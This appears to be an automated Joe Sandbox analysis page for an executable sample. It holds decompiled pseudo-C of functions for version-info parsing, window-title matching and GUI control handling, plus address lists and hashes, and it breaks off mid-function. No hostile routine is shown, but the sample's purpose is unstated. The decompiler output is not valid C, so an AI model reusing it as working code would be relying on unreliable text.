                                                                                                                                                                            0x00455b0d
                                                                                                                                                                            0x00455b0e
                                                                                                                                                                            0x00455b0f
                                                                                                                                                                            0x00455b15
                                                                                                                                                                            0x00455b17
                                                                                                                                                                            0x00456136
                                                                                                                                                                            0x0045613f
                                                                                                                                                                            0x00455b1d
                                                                                                                                                                            0x00455b1d
                                                                                                                                                                            0x00455b1f
                                                                                                                                                                            0x00455b20
                                                                                                                                                                            0x00455b20
                                                                                                                                                                            0x00455b25
                                                                                                                                                                            0x00455b28
                                                                                                                                                                            0x00455b28
                                                                                                                                                                            0x00455b34
                                                                                                                                                                            0x00455b34
                                                                                                                                                                            0x00455b17
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004560ad
                                                                                                                                                                            0x004560b1
                                                                                                                                                                            0x004560b2
                                                                                                                                                                            0x004560b4
                                                                                                                                                                            0x004560b9
                                                                                                                                                                            0x004560c0
                                                                                                                                                                            0x004560c2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004560c8
                                                                                                                                                                            0x004560c8
                                                                                                                                                                            0x004560ca
                                                                                                                                                                            0x004560cf
                                                                                                                                                                            0x004560d4
                                                                                                                                                                            0x004560d9
                                                                                                                                                                            0x004560da
                                                                                                                                                                            0x004560dc
                                                                                                                                                                            0x004560e1
                                                                                                                                                                            0x004560e2
                                                                                                                                                                            0x004560e3
                                                                                                                                                                            0x004560e8
                                                                                                                                                                            0x004560e9
                                                                                                                                                                            0x004560ef
                                                                                                                                                                            0x004560f2
                                                                                                                                                                            0x004560fe
                                                                                                                                                                            0x004560fe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00455a20
                                                                                                                                                                            0x004559d6
                                                                                                                                                                            0x004559d6
                                                                                                                                                                            0x004559d6
                                                                                                                                                                            0x004559dc
                                                                                                                                                                            0x004559e8
                                                                                                                                                                            0x004559e8
                                                                                                                                                                            0x00000000

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 0-4108050209
                                                                                                                                                                            • Opcode ID: eb69074ba59d4ac3dcd61aa90898f71a72a5f887692f72aca4e1043cd34b18c4
                                                                                                                                                                            • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                                                                                            • Opcode Fuzzy Hash: eb69074ba59d4ac3dcd61aa90898f71a72a5f887692f72aca4e1043cd34b18c4
                                                                                                                                                                            • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436B3A Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 190COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 71%
                                                                                                                                                                            			E00436B3A(void* __ecx, unsigned int _a4, intOrPtr _a12) {
				char _v4;
				intOrPtr _v16;
				char _v32;
				char _v36;
				char _v40;
				unsigned int* _v52;
				intOrPtr _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t27;
				signed int _t30;
				short _t34;
				short _t35;
				short _t39;
				short _t54;
				short _t56;
				unsigned int _t65;
				intOrPtr _t73;
				unsigned int _t74;
				intOrPtr _t84;
				intOrPtr _t85;
				char* _t86;
				void* _t87;
				void* _t89;
				void* _t95;
				void* _t102;
				void* _t103;

				_t64 = _a4;
				_t84 = _a12;
				_t27 =  &_v4;
				_push(_t27);
				_push(_t64);
				L00410F0A();
				_t86 = _t27;
				if(_t86 != 0) {
					_push(_t86);
					_t89 = E0041171A(_t64, _t84, __eflags);
					_push(_t89);
					_push(_t86);
					_push(0);
					_push(_t64);
					L00410F10();
					_t30 = E004112D5(_t84) + 0x1a;
					_t80 = _t30 * 2 >> 0x20;
					_push( ~(0 | __eflags > 0x00000000) | _t30 * 0x00000002);
					_t87 = E0041171A(_t64, _t84, __eflags);
					E00411691(_t87, "\\");
					_t34 = E004133E4(_t84, "\\");
					_t95 =  &_v16 + 0x1c;
					__eflags = _t34;
					if(_t34 != 0) {
						E00411663(_t87, L"StringFileInfo\\");
						_t54 = E00413772(_t84, "\\");
						_t102 = _t95 + 0x10;
						__eflags = _t54;
						if(_t54 != 0) {
							E00411663(_t87, _t84);
							_t95 = _t102 + 8;
						} else {
							_t56 =  &_v32;
							_push(_t56);
							_push( &_v36);
							_push(L"\\VarFileInfo\\Translation");
							_push(_t89);
							L00410F16();
							__eflags = _t56;
							if(_t56 == 0) {
								E00411663(_t87, L"04090000");
								_t103 = _t102 + 8;
							} else {
								_t80 = _v52;
								_t65 =  *_v52;
								_t13 = _t87 + 0x20; // 0x20
								E00435EED(_t65, _t13, 4);
								_t14 = _t87 + 0x28; // 0x28
								_t64 = _t65 >> 0x10;
								E00435EED(_t65 >> 0x10, _t14, 4);
								_t103 = _t102 + 0x18;
							}
							E00411663(_t87, "\\");
							E00411663(_t87, _t84);
							_t95 = _t103 + 0x10;
						}
					}
					_t35 = E004115D0(_t80, _t84, L"DefaultLangCodepage");
					__eflags = _t35;
					if(_t35 != 0) {
						_push( &_v32);
						_t81 =  &_v40;
						_push( &_v40);
						_push(_t87);
						_push(_t89);
						L00410F16();
						__eflags = _t35;
						if(__eflags == 0) {
							E004112EF(_t64,  &_v40, _t84, _t87, __eflags, _t89);
							E004112EF(_t64,  &_v40, _t84, _t87, __eflags, _t87);
							__eflags = 0;
							return 0;
						} else {
							_t39 = E004133E4(_t84, "\\");
							__eflags = _t39;
							if(_t39 != 0) {
								_t84 = _v32;
								E0041326A(_t84, _v56, 0x200);
								__eflags = 0;
								 *((short*)(_t84 + 0x400)) = 0;
							} else {
								_t73 = _v56;
								_t74 =  *(_t73 + 0xc);
								_push(_t74 & 0x0000ffff);
								_t81 = _v32;
								_push(_t74 >> 0x10);
								_push( *(_t73 + 8) & 0x0000ffff);
								E0041353A(_v32, _t84, _t87, _v32, L"%u.%u.%u.%u",  *(_t73 + 8) >> 0x10);
							}
							E004112EF(_t64, _t81, _t84, _t87, __eflags, _t89);
							E004112EF(_t64, _t81, _t84, _t87, __eflags, _t87);
							return 1;
						}
					} else {
						_t85 = _v16;
						_t16 = _t87 + 0x20; // 0x20
						E0041326A(_t85, _t16, 8);
						__eflags = 0;
						 *((short*)(_t85 + 0x10)) = 0;
						E004112EF(_t64, _t16, _t85, _t87, 0, _t89);
						E004112EF(_t64, _t16, _t85, _t87, 0, _t87);
						return 1;
					}
				} else {
					return 0;
				}
			}
































                                                                                                                                                                            0x00436b3e
                                                                                                                                                                            0x00436b44
                                                                                                                                                                            0x00436b48
                                                                                                                                                                            0x00436b4c
                                                                                                                                                                            0x00436b4d
                                                                                                                                                                            0x00436b4e
                                                                                                                                                                            0x00436b53
                                                                                                                                                                            0x00436b57
                                                                                                                                                                            0x00436b63
                                                                                                                                                                            0x00436b6c
                                                                                                                                                                            0x00436b6e
                                                                                                                                                                            0x00436b6f
                                                                                                                                                                            0x00436b70
                                                                                                                                                                            0x00436b72
                                                                                                                                                                            0x00436b73
                                                                                                                                                                            0x00436b80
                                                                                                                                                                            0x00436b88
                                                                                                                                                                            0x00436b91
                                                                                                                                                                            0x00436b97
                                                                                                                                                                            0x00436b9f
                                                                                                                                                                            0x00436baa
                                                                                                                                                                            0x00436baf
                                                                                                                                                                            0x00436bb2
                                                                                                                                                                            0x00436bb4
                                                                                                                                                                            0x00436bc0
                                                                                                                                                                            0x00436bcb
                                                                                                                                                                            0x00436bd0
                                                                                                                                                                            0x00436bd3
                                                                                                                                                                            0x00436bd5
                                                                                                                                                                            0x00436c3d
                                                                                                                                                                            0x00436c42
                                                                                                                                                                            0x00436bd7
                                                                                                                                                                            0x00436bd7
                                                                                                                                                                            0x00436bdb
                                                                                                                                                                            0x00436be0
                                                                                                                                                                            0x00436be1
                                                                                                                                                                            0x00436be6
                                                                                                                                                                            0x00436be7
                                                                                                                                                                            0x00436bec
                                                                                                                                                                            0x00436bee
                                                                                                                                                                            0x00436c1c
                                                                                                                                                                            0x00436c21
                                                                                                                                                                            0x00436bf0
                                                                                                                                                                            0x00436bf0
                                                                                                                                                                            0x00436bf4
                                                                                                                                                                            0x00436bf8
                                                                                                                                                                            0x00436bfd
                                                                                                                                                                            0x00436c04
                                                                                                                                                                            0x00436c08
                                                                                                                                                                            0x00436c0c
                                                                                                                                                                            0x00436c11
                                                                                                                                                                            0x00436c11
                                                                                                                                                                            0x00436c2a
                                                                                                                                                                            0x00436c31
                                                                                                                                                                            0x00436c36
                                                                                                                                                                            0x00436c36
                                                                                                                                                                            0x00436bd5
                                                                                                                                                                            0x00436c4b
                                                                                                                                                                            0x00436c53
                                                                                                                                                                            0x00436c55
                                                                                                                                                                            0x00436c8a
                                                                                                                                                                            0x00436c8b
                                                                                                                                                                            0x00436c8f
                                                                                                                                                                            0x00436c90
                                                                                                                                                                            0x00436c91
                                                                                                                                                                            0x00436c92
                                                                                                                                                                            0x00436c97
                                                                                                                                                                            0x00436c99
                                                                                                                                                                            0x00436d15
                                                                                                                                                                            0x00436d1b
                                                                                                                                                                            0x00436d26
                                                                                                                                                                            0x00436d2c
                                                                                                                                                                            0x00436c9b
                                                                                                                                                                            0x00436ca1
                                                                                                                                                                            0x00436ca9
                                                                                                                                                                            0x00436cab
                                                                                                                                                                            0x00436cdf
                                                                                                                                                                            0x00436cea
                                                                                                                                                                            0x00436cf2
                                                                                                                                                                            0x00436cf4
                                                                                                                                                                            0x00436cad
                                                                                                                                                                            0x00436cad
                                                                                                                                                                            0x00436cb4
                                                                                                                                                                            0x00436cba
                                                                                                                                                                            0x00436cbb
                                                                                                                                                                            0x00436cc2
                                                                                                                                                                            0x00436cc6
                                                                                                                                                                            0x00436cd1
                                                                                                                                                                            0x00436cd6
                                                                                                                                                                            0x00436cfc
                                                                                                                                                                            0x00436d02
                                                                                                                                                                            0x00436d13
                                                                                                                                                                            0x00436d13
                                                                                                                                                                            0x00436c57
                                                                                                                                                                            0x00436c57
                                                                                                                                                                            0x00436c5d
                                                                                                                                                                            0x00436c62
                                                                                                                                                                            0x00436c67
                                                                                                                                                                            0x00436c6a
                                                                                                                                                                            0x00436c6e
                                                                                                                                                                            0x00436c74
                                                                                                                                                                            0x00436c85
                                                                                                                                                                            0x00436c85
                                                                                                                                                                            0x00436b5b
                                                                                                                                                                            0x00436b61
                                                                                                                                                                            0x00436b61

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcscat$73921520__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                                                                                                            • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                            • API String ID: 2134901162-1459072770
                                                                                                                                                                            • Opcode ID: ac030657e1f92f6c124e655ce149cf5c7fad6938616e6d726b88531a38c759db
                                                                                                                                                                            • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                                                                                            • Opcode Fuzzy Hash: ac030657e1f92f6c124e655ce149cf5c7fad6938616e6d726b88531a38c759db
                                                                                                                                                                            • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 63%
                                                                                                                                                                            			E0046884B(void* __edx, void* __ebp, void* __eflags, void* __fp0, intOrPtr* _a4) {
				char _v16;
				char _v32;
				char _v36;
				char _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t32;
				void* _t34;
				void* _t36;
				void* _t38;
				intOrPtr* _t52;
				void* _t58;
				void* _t62;
				void* _t74;

				_t74 = __fp0;
				_t62 = __ebp;
				_t58 = __edx;
				_t52 = _a4;
				E0040C060( &_v48, __eflags);
				E0040C060( &_v32, __eflags);
				if(E00437BFD(_t52) != 0 || E004115D0(_t58,  *_t52, L"LAST") == 0) {
					_push(L"[LAST");
					goto L14;
				} else {
					if(E004115D0(_t58,  *_t52, L"ACTIVE") != 0) {
						_t32 = E004136BC(_t58,  *_t52, L"HANDLE=", 7);
						__eflags = _t32;
						if(_t32 != 0) {
							_t34 = E004136BC(_t58,  *_t52, L"REGEXP=", 7);
							__eflags = _t34;
							if(_t34 != 0) {
								_t36 = E004136BC(_t58,  *_t52, L"CLASSNAME=", 0xa);
								__eflags = _t36;
								if(_t36 != 0) {
									_t38 = E004115D0(_t58,  *_t52, L"ALL");
									__eflags = _t38;
									if(_t38 == 0) {
										_push(L"[ALL");
										goto L14;
									}
								} else {
									E004021E0( &_v48, _t52, _t58, L"[CLASS:");
									_push(0xffffffff);
									_push(0xa);
									goto L10;
								}
							} else {
								E004021E0( &_v48, _t52, _t58, L"[REGEXPTITLE:");
								_push(0xffffffff);
								_push(7);
								goto L10;
							}
						} else {
							E004021E0( &_v48, _t52, _t58, L"[HANDLE:");
							_push(0xffffffff);
							_push(7);
							L10:
							_push( &_v16);
							_push(_t52);
							E0040DF50( &_v48, E00460976(__eflags));
							E00402620( &_v36);
							E00460784(_t52, _t62, __eflags, _t74,  &_v48);
							E0040C140( &_v72, _t74,  &_v48);
							goto L15;
						}
					} else {
						_push(L"[ACTIVE");
						L14:
						E004021E0( &_v48, _t52, _t58);
						L15:
						E0040D330( &_v48, _t52, "]", _t74);
						E0040DF50(_t52,  &_v48);
					}
				}
				E00402620( &_v32);
				return E00402620( &_v48);
			}



















                                                                                                                                                                            0x0046884b
                                                                                                                                                                            0x0046884b
                                                                                                                                                                            0x0046884b
                                                                                                                                                                            0x0046884f
                                                                                                                                                                            0x00468859
                                                                                                                                                                            0x00468862
                                                                                                                                                                            0x0046886f
                                                                                                                                                                            0x00468972
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046888d
                                                                                                                                                                            0x0046889f
                                                                                                                                                                            0x004688b5
                                                                                                                                                                            0x004688bd
                                                                                                                                                                            0x004688bf
                                                                                                                                                                            0x004688df
                                                                                                                                                                            0x004688e7
                                                                                                                                                                            0x004688e9
                                                                                                                                                                            0x00468909
                                                                                                                                                                            0x00468911
                                                                                                                                                                            0x00468913
                                                                                                                                                                            0x0046895f
                                                                                                                                                                            0x00468967
                                                                                                                                                                            0x00468969
                                                                                                                                                                            0x0046896b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046896b
                                                                                                                                                                            0x00468915
                                                                                                                                                                            0x0046891e
                                                                                                                                                                            0x00468923
                                                                                                                                                                            0x00468925
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468925
                                                                                                                                                                            0x004688eb
                                                                                                                                                                            0x004688f4
                                                                                                                                                                            0x004688f9
                                                                                                                                                                            0x004688fb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004688fb
                                                                                                                                                                            0x004688c1
                                                                                                                                                                            0x004688ca
                                                                                                                                                                            0x004688cf
                                                                                                                                                                            0x004688d1
                                                                                                                                                                            0x00468927
                                                                                                                                                                            0x0046892b
                                                                                                                                                                            0x0046892c
                                                                                                                                                                            0x00468937
                                                                                                                                                                            0x00468940
                                                                                                                                                                            0x00468946
                                                                                                                                                                            0x00468950
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468950
                                                                                                                                                                            0x004688a1
                                                                                                                                                                            0x004688a1
                                                                                                                                                                            0x00468977
                                                                                                                                                                            0x0046897b
                                                                                                                                                                            0x00468980
                                                                                                                                                                            0x00468989
                                                                                                                                                                            0x00468995
                                                                                                                                                                            0x00468995
                                                                                                                                                                            0x0046889f
                                                                                                                                                                            0x0046899e
                                                                                                                                                                            0x004689b2

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll$__wcsnicmp
                                                                                                                                                                            • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                                                                                            • API String ID: 790654849-1810252412
                                                                                                                                                                            • Opcode ID: dc4bf10c5acfde0aa82a2b73d957bf05deb8d005684d043c04d75530e919c6ec
                                                                                                                                                                            • Instruction ID: 062d901ab728898637dbe4e522eb0dc02856c8c0bafd4dcc3878af77e4f2a789
                                                                                                                                                                            • Opcode Fuzzy Hash: dc4bf10c5acfde0aa82a2b73d957bf05deb8d005684d043c04d75530e919c6ec
                                                                                                                                                                            • Instruction Fuzzy Hash: A431B3B1644301A7CA00FA61CC83F5B73A85F54759F100A3FB951B61D6FA6CEA0C862F
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00448759 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 311COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 29%
                                                                                                                                                                            			E00448759(void* __eflags, intOrPtr _a4, signed int _a8) {
				int _v20;
				int _v28;
				intOrPtr _v64;
				signed int _v68;
				long _v72;
				struct tagMENUITEMINFOW _v116;
				signed int _v120;
				struct HWND__** _v124;
				struct HWND__* _v128;
				signed char _v132;
				signed int _v133;
				struct HWND__* _v136;
				signed int _v140;
				int _v148;
				struct HWND__** _v152;
				intOrPtr _v156;
				signed int _v180;
				intOrPtr _t171;
				signed int _t175;
				void* _t177;
				signed char _t178;
				signed char _t180;
				signed int _t197;
				signed char _t198;
				signed char _t200;
				struct HWND__** _t208;
				signed int _t211;
				struct HWND__* _t214;
				signed int _t220;
				signed int _t223;
				struct HWND__* _t225;
				struct HWND__ _t228;

				_t197 = _a8;
				if(E0044213B(0x4a83d8, _a4,  &_v120,  &_v132) != 0) {
					_t171 =  *0x4a8438; // 0x0
					_t208 =  *0x4a844c; // 0x2f019d0
					_t223 = _v132;
					_t228 =  *(_t208[_t223]);
					_v124 =  *((intOrPtr*)( *((intOrPtr*)(_t171 + _v120 * 4))));
					_v128 =  *_t228;
					_v133 =  *((intOrPtr*)(_t228 + 0x88));
					_v140 = 0;
					if(_t197 < 0) {
						_t197 = 0;
					}
					_t175 = _t197 & 0x00000100;
					_v132 = _t175;
					if(_t175 != 0) {
						E00441C1E(_v120, _t223);
						_v148 = 1;
					}
					if((_t197 & 0x00000800) != 0) {
						SetWindowPos(_v128, 0, 0, 0, 0, 0, 0x13);
						_v140 = 1;
					}
					_t177 = (_v133 & 0x000000ff) + 0xfffffff7;
					if(_t177 > 0x11) {
						L62:
						_t198 = _t197 & 0x000010f8;
						_t178 = _t198;
						_v132 = _t178;
						if(_t198 > 0) {
							_t225 = _v128;
							_t200 = 0;
							_v140 = 1;
							if(_t178 < 0) {
								_t200 = 0xc0;
								EnableWindow(_t225, 0);
								_t178 = _v132;
							}
							if((_t178 & 0x00000040) != 0) {
								_t200 = 0xc0;
								EnableWindow(_t225, 1);
								_t178 = _v132;
							}
							_t220 = _t178 & 0x00000020;
							if(_t220 != 0) {
								_t200 = _t200 + 0x30;
							}
							_t211 = _t178 & 0x00000010;
							_v132 = _t211;
							if(_t211 != 0) {
								_t200 = _t200 + 0x30;
							}
							if((_t178 & 0x00000008) != 0) {
								_t200 = _t200 + 0x1008;
							}
							if((_t178 & 0x00001000) != 0) {
								_t200 = _t200 + 0x1008;
							}
							_t180 =  *((intOrPtr*)(_t228 + 0x8b));
							 *(_t228 + 0x8a) =  !_t200 &  *(_t228 + 0x8a) | _t178;
							if(_t180 == 0xff) {
								L78:
								if(_t220 != 0) {
									ShowWindow(_t225, 0);
								}
								if(_v132 != 0) {
									ShowWindow(_t225, 4);
									if(_v133 == 0x1a && ( *(_t228 + 0x8a) & 0x00000040) != 0) {
										EnableWindow(_t225, 1);
									}
								}
								E0043401C(_v124, _t228, 1);
							} else {
								_t214 = _v124[0x61];
								if((_t180 & 0x000000ff) == _t214 || _t214 == 0xffffffff) {
									goto L78;
								}
							}
						}
						goto L85;
					} else {
						switch( *((intOrPtr*)(( *(_t177 + 0x448d9d) & 0x000000ff) * 4 +  &M00448D71))) {
							case 0:
								__eax = __ebx & 0x00000007;
								if(__eax == 0) {
									__ecx = _v128;
									_push(0);
									_push(0);
									_push(0x466);
									_push(_v128);
									goto L60;
								} else {
									if(__eax == 0) {
										__eax = _v128;
										_push(0xffff0000);
										_push(0xffffffff);
										_push(0x465);
										_push(_v128);
										L60:
										if(SendMessageW() != 0) {
											goto L61;
										}
									} else {
										__edx = _v128;
										__eax = SendMessageW(_v128, 0x467, 0, 0);
										goto L61;
									}
								}
								goto L62;
							case 1:
								if((__bl & 0x00000010) != 0) {
									__ecx = _v124;
									__eax =  *(__esi + 0x8b) & 0x000000ff;
									if( *((char*)(__ecx + 0x18c)) != 0) {
										__edx =  *(__ecx + 0x188);
										 *(__ecx + 0x184) =  *(__ecx + 0x188);
									}
									_push(__eax);
									__edi = __ecx;
									_push(__edi);
									_push(0x4a83d8);
									E00441077() =  *(__esi + 0x8b) & 0x000000ff;
									 *(__edi + 0x188) =  *(__esi + 0x8b) & 0x000000ff;
									goto L61;
								}
								goto L62;
							case 2:
								goto L1;
							case 3:
								__ecx =  *(__esi + 8);
								__eax =  &_v116;
								_v140 = 0;
								_v116.cbSize = 0x30;
								_v116.fMask = 1;
								if(GetMenuItemInfoW( *(__esi + 8), __edi, 0,  &_v116) == 0 || (__bl & 0x00000020) != 0) {
									goto L1;
								} else {
									if(__bl < 0) {
										_v140 = 3;
									}
									if((__bl & 0x00000001) != 0) {
										_v140 = _v140 | 0x00000008;
									}
									if(_v132 != 0) {
										_v140 = _v140 | 0x00000080;
									}
									if((_v116.fState & 0x00000008) != 0 && (__bl & 0x00000004) == 0) {
										_v140 = _v140 | 0x00000008;
									}
									__ecx =  *(__esi + 8);
									__edx = _v140;
									__eax =  &_v116;
									_v116.fState = _v140;
									__eax = SetMenuItemInfoW( *(__esi + 8), __edi, 0,  &_v116);
									if((__ebx & 0x00000200) == 0) {
										__ecx =  *(__esi + 8);
										__eax =  &_v116;
										if(GetMenuItemInfoW( *(__esi + 8), __edi, 0,  &_v116) != 0 && (_v116.fState & 0x00001000) != 0) {
											_push(0);
											_push(0xffffffff);
											goto L51;
										}
									} else {
										_push(0);
										_push(__edi);
										L51:
										__edx =  *(__esi + 8);
										__eax = SetMenuDefaultItem( *(__esi + 8), ??, ??);
									}
									__eax = _v124;
									__ecx =  *_v124;
									__eax = DrawMenuBar( *_v124);
									goto L61;
								}
								goto L97;
							case 4:
								__ecx =  *(__esi + 0x30);
								_push(0xfffffff0);
								_push( *(__esi + 0x30));
								__eax =  *0x482718();
								__edx =  *(__esi + 0xc);
								__bl = __bl & 0x00000001;
								__bl & 0x00000001 =  ~(__bl & 0x00000001);
								asm("sbb eax, eax");
								__eax =  ~(__bl & 0x00000001) & 0x00001000;
								__eax = ( ~(__bl & 0x00000001) & 0x00001000) + 0x1000;
								_v72 =  *(__esi + 0xc);
								_v116.cch = 8;
								_v64 = 0xf010;
								_v68 = __eax;
								if((__ebx & 0x00000200) != 0) {
									_v68 = __eax;
								}
								__edx =  *(__esi + 0x30);
								__edi =  *0x482650;
								__ecx =  &(_v116.cch);
								__eax = SendMessageW( *(__esi + 0x30), 0x113f, 0,  &(_v116.cch));
								if((__ebx & 0x00000400) != 0) {
									__eax =  *(__esi + 0xc);
									__ecx =  *(__esi + 0x30);
									__eax = SendMessageW( *(__esi + 0x30), 0x1102, 2,  *(__esi + 0xc));
								}
								if(_v140 != 0) {
									__edx =  *(__esi + 0x30);
									E004421C1(0x4a83d8,  *(__esi + 0x30)) = _v136;
									__eax = E00441C1E(_v136, _v136);
									__ecx =  *(__esi + 0xc);
									__edx =  *(__esi + 0x30);
									__eax = SendMessageW( *(__esi + 0x30), 0x110b, 9,  *(__esi + 0xc));
								}
								goto L61;
							case 5:
								__esi =  *(__esi + 0x30);
								__edx =  &_v28;
								_push( &_v28);
								_push(0xffffffff);
								_push(0x1053);
								_push(__esi);
								_v140 = 0;
								_v28 = 1;
								_v20 = __edi;
								__edi =  *0x482650();
								if(__edi == 0xffffffff) {
									goto L1;
								} else {
									_push(0xffffffec);
									_push(__esi);
									_v128 = __edi;
									_v124 = 0;
									_v132 = 8;
									__eax =  *0x482718();
									if((__al & 0x00000004) != 0 && (__bl & 0x00000005) != 0) {
										__ebx = __ebx - 1;
										__eax =  ~(__ebx - 1);
										__ecx =  &_v140;
										_push( &_v140);
										asm("sbb eax, eax");
										_push(0);
										__eax =  ~(__ebx - 1) & 0xfffff000;
										_push(0x104c);
										__eax = ( ~(__ebx - 1) & 0xfffff000) + 0x2000;
										_push(__esi);
										_v124 = 0xf000;
										_v128 = ( ~(__ebx - 1) & 0xfffff000) + 0x2000;
										__eax =  *0x482650();
										_v180 = ( ~(__ebx - 1) & 0xfffff000) + 0x2000;
									}
									if((__ebx & 0x00002100) == 0) {
										L85:
										return _v140;
									} else {
										if(_v156 != 0) {
											_v128 = 0xffffffff;
										}
										if((__ebx & 0x00002000) != 0) {
											_v128 = 0;
										}
										__edx =  &_v140;
										_push( &_v140);
										_push(__edi);
										_push(0x102b);
										_push(__esi);
										_v124 = 3;
										__eax =  *0x482650();
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										return __eax;
									}
								}
								goto L97;
							case 6:
								__eax = 3;
								if( *0x4a845c >= 3) {
									do {
										__ecx =  *0x4a844c;
										__ecx = ( *0x4a844c)[__eax];
										if(__ecx->i == 0) {
											goto L20;
										} else {
											__ecx = __ecx->i;
											__edx =  *(__ecx + 4);
											__edi = _v124;
											if( *(__ecx + 4) != _v124[1] ||  *((char*)(__ecx + 0x88)) != 3 || __ecx !=  *(__esi + 0x30)) {
												goto L20;
											} else {
												__cl =  *((intOrPtr*)(__esi + 0x8a));
